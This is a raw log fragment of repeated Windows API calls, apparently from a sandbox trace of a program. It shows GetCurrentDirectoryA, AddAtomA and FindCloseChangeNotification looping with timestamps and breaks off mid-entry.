[0053.697] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.697] AddAtomA (lpString=0x0) returned 0x0 [0053.697] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.697] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.697] AddAtomA (lpString=0x0) returned 0x0 [0053.697] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.697] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.697] AddAtomA (lpString=0x0) returned 0x0 [0053.698] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.698] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.698] AddAtomA (lpString=0x0) returned 0x0 [0053.698] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.698] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.698] AddAtomA (lpString=0x0) returned 0x0 [0053.698] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.698] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.698] AddAtomA (lpString=0x0) returned 0x0 [0053.698] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.698] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.698] AddAtomA (lpString=0x0) returned 0x0 [0053.698] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.698] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.698] AddAtomA (lpString=0x0) returned 0x0 [0053.698] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.698] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.698] AddAtomA (lpString=0x0) returned 0x0 [0053.698] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.698] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.698] AddAtomA (lpString=0x0) returned 0x0 [0053.698] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.698] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.698] AddAtomA (lpString=0x0) returned 0x0 [0053.698] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.698] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.698] AddAtomA (lpString=0x0) returned 0x0 [0053.698] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.698] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.698] AddAtomA (lpString=0x0) returned 0x0 [0053.698] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.698] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.699] AddAtomA (lpString=0x0) returned 0x0 [0053.699] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.699] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.699] AddAtomA (lpString=0x0) returned 0x0 [0053.699] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.699] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.699] AddAtomA (lpString=0x0) returned 0x0 [0053.699] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.699] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.699] AddAtomA (lpString=0x0) returned 0x0 [0053.699] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.699] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.699] AddAtomA (lpString=0x0) returned 0x0 [0053.699] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.699] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.699] AddAtomA (lpString=0x0) returned 0x0 [0053.699] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.699] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.699] AddAtomA (lpString=0x0) returned 0x0 [0053.699] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.699] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.699] AddAtomA (lpString=0x0) returned 0x0 [0053.699] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.699] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.699] AddAtomA (lpString=0x0) returned 0x0 [0053.699] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.699] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.699] AddAtomA (lpString=0x0) returned 0x0 [0053.699] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.699] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.699] AddAtomA (lpString=0x0) returned 0x0 [0053.699] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.699] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.700] AddAtomA (lpString=0x0) returned 0x0 [0053.700] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.700] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.700] AddAtomA (lpString=0x0) returned 0x0 [0053.700] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.700] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.700] AddAtomA (lpString=0x0) returned 0x0 [0053.700] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.700] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.700] AddAtomA (lpString=0x0) returned 0x0 [0053.700] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.700] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.700] AddAtomA (lpString=0x0) returned 0x0 [0053.700] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.700] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.700] AddAtomA (lpString=0x0) returned 0x0 [0053.700] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.700] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.700] AddAtomA (lpString=0x0) returned 0x0 [0053.700] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.700] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.700] AddAtomA (lpString=0x0) returned 0x0 [0053.700] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.700] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.700] AddAtomA (lpString=0x0) returned 0x0 [0053.700] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.700] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.700] AddAtomA (lpString=0x0) returned 0x0 [0053.700] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.700] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.700] AddAtomA (lpString=0x0) returned 0x0 [0053.700] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.701] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.701] AddAtomA (lpString=0x0) returned 0x0 [0053.701] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.701] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.701] AddAtomA (lpString=0x0) returned 0x0 [0053.701] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.701] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.701] AddAtomA (lpString=0x0) returned 0x0 [0053.701] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.701] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.701] AddAtomA (lpString=0x0) returned 0x0 [0053.701] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.701] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.701] AddAtomA (lpString=0x0) returned 0x0 [0053.701] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.701] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.701] AddAtomA (lpString=0x0) returned 0x0 [0053.701] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.701] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.701] AddAtomA (lpString=0x0) returned 0x0 [0053.701] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.701] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.701] AddAtomA (lpString=0x0) returned 0x0 [0053.701] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.701] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.701] AddAtomA (lpString=0x0) returned 0x0 [0053.702] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.702] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.702] AddAtomA (lpString=0x0) returned 0x0 [0053.702] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.702] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.702] AddAtomA (lpString=0x0) returned 0x0 [0053.702] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.702] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.702] AddAtomA (lpString=0x0) returned 0x0 [0053.702] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.702] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.702] AddAtomA (lpString=0x0) returned 0x0 [0053.702] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.702] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.702] AddAtomA (lpString=0x0) returned 0x0 [0053.702] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.702] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.702] AddAtomA (lpString=0x0) returned 0x0 [0053.702] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.702] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.702] AddAtomA (lpString=0x0) returned 0x0 [0053.702] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.702] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.702] AddAtomA (lpString=0x0) returned 0x0 [0053.702] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.702] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.702] AddAtomA (lpString=0x0) returned 0x0 [0053.702] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.702] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.702] AddAtomA (lpString=0x0) returned 0x0 [0053.702] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.702] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.703] AddAtomA (lpString=0x0) returned 0x0 [0053.703] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.703] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.703] AddAtomA (lpString=0x0) returned 0x0 [0053.703] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.703] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.703] AddAtomA (lpString=0x0) returned 0x0 [0053.703] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.703] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.703] AddAtomA (lpString=0x0) returned 0x0 [0053.703] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.703] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.703] AddAtomA (lpString=0x0) returned 0x0 [0053.703] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.703] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.703] AddAtomA (lpString=0x0) returned 0x0 [0053.703] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.703] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.703] AddAtomA (lpString=0x0) returned 0x0 [0053.703] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.703] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.703] AddAtomA (lpString=0x0) returned 0x0 [0053.703] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.703] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.703] AddAtomA (lpString=0x0) returned 0x0 [0053.703] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.703] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.703] AddAtomA (lpString=0x0) returned 0x0 [0053.703] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.703] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.703] AddAtomA (lpString=0x0) returned 0x0 [0053.703] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.703] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.704] AddAtomA (lpString=0x0) returned 0x0 [0053.704] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.704] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.704] AddAtomA (lpString=0x0) returned 0x0 [0053.704] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.704] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.704] AddAtomA (lpString=0x0) returned 0x0 [0053.704] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.704] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.704] AddAtomA (lpString=0x0) returned 0x0 [0053.704] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.704] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.704] AddAtomA (lpString=0x0) returned 0x0 [0053.704] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.704] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.704] AddAtomA (lpString=0x0) returned 0x0 [0053.704] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.704] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.704] AddAtomA (lpString=0x0) returned 0x0 [0053.704] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.704] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.704] AddAtomA (lpString=0x0) returned 0x0 [0053.704] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.704] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.704] AddAtomA (lpString=0x0) returned 0x0 [0053.704] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.704] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.704] AddAtomA (lpString=0x0) returned 0x0 [0053.704] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.704] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.704] AddAtomA (lpString=0x0) returned 0x0 [0053.704] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.704] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.705] AddAtomA (lpString=0x0) returned 0x0 [0053.705] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.705] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.705] AddAtomA (lpString=0x0) returned 0x0 [0053.705] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.705] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.705] AddAtomA (lpString=0x0) returned 0x0 [0053.705] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.705] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.705] AddAtomA (lpString=0x0) returned 0x0 [0053.705] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.705] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.705] AddAtomA (lpString=0x0) returned 0x0 [0053.705] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.705] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.705] AddAtomA (lpString=0x0) returned 0x0 [0053.705] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.705] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.705] AddAtomA (lpString=0x0) returned 0x0 [0053.705] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.705] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.705] AddAtomA (lpString=0x0) returned 0x0 [0053.705] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.705] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.705] AddAtomA (lpString=0x0) returned 0x0 [0053.705] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.705] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.705] AddAtomA (lpString=0x0) returned 0x0 [0053.705] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.705] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.705] AddAtomA (lpString=0x0) returned 0x0 [0053.706] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.706] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.706] AddAtomA (lpString=0x0) returned 0x0 [0053.706] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.706] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.706] AddAtomA (lpString=0x0) returned 0x0 [0053.706] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.706] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.706] AddAtomA (lpString=0x0) returned 0x0 [0053.706] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.706] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.706] AddAtomA (lpString=0x0) returned 0x0 [0053.706] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.706] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.706] AddAtomA (lpString=0x0) returned 0x0 [0053.706] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.706] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.706] AddAtomA (lpString=0x0) returned 0x0 [0053.706] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.706] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.706] AddAtomA (lpString=0x0) returned 0x0 [0053.706] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.706] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.706] AddAtomA (lpString=0x0) returned 0x0 [0053.706] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.706] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.706] AddAtomA (lpString=0x0) returned 0x0 [0053.706] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.706] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.706] AddAtomA (lpString=0x0) returned 0x0 [0053.706] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.706] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.707] AddAtomA (lpString=0x0) returned 0x0 [0053.707] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.707] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.707] AddAtomA (lpString=0x0) returned 0x0 [0053.707] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.707] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.707] AddAtomA (lpString=0x0) returned 0x0 [0053.707] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.707] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.707] AddAtomA (lpString=0x0) returned 0x0 [0053.707] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.707] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.707] AddAtomA (lpString=0x0) returned 0x0 [0053.707] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.707] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.707] AddAtomA (lpString=0x0) returned 0x0 [0053.707] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.707] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.707] AddAtomA (lpString=0x0) returned 0x0 [0053.707] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.707] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.707] AddAtomA (lpString=0x0) returned 0x0 [0053.707] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.707] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.707] AddAtomA (lpString=0x0) returned 0x0 [0053.707] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.707] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.707] AddAtomA (lpString=0x0) returned 0x0 [0053.707] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.707] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.707] AddAtomA (lpString=0x0) returned 0x0 [0053.707] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.707] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.708] AddAtomA (lpString=0x0) returned 0x0 [0053.708] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.708] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.708] AddAtomA (lpString=0x0) returned 0x0 [0053.708] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.708] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.708] AddAtomA (lpString=0x0) returned 0x0 [0053.708] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.708] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.708] AddAtomA (lpString=0x0) returned 0x0 [0053.708] FindCloseChangeNotification 